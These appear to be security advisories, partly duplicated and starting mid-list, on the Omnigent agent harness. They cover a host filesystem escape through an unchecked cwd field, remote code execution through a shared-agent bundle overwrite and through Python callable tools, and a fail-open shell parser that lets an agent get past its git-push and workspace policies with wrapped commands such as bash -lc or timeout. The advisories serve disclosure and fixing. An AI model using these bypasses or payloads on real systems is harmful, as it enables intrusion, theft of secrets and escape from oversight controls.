3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.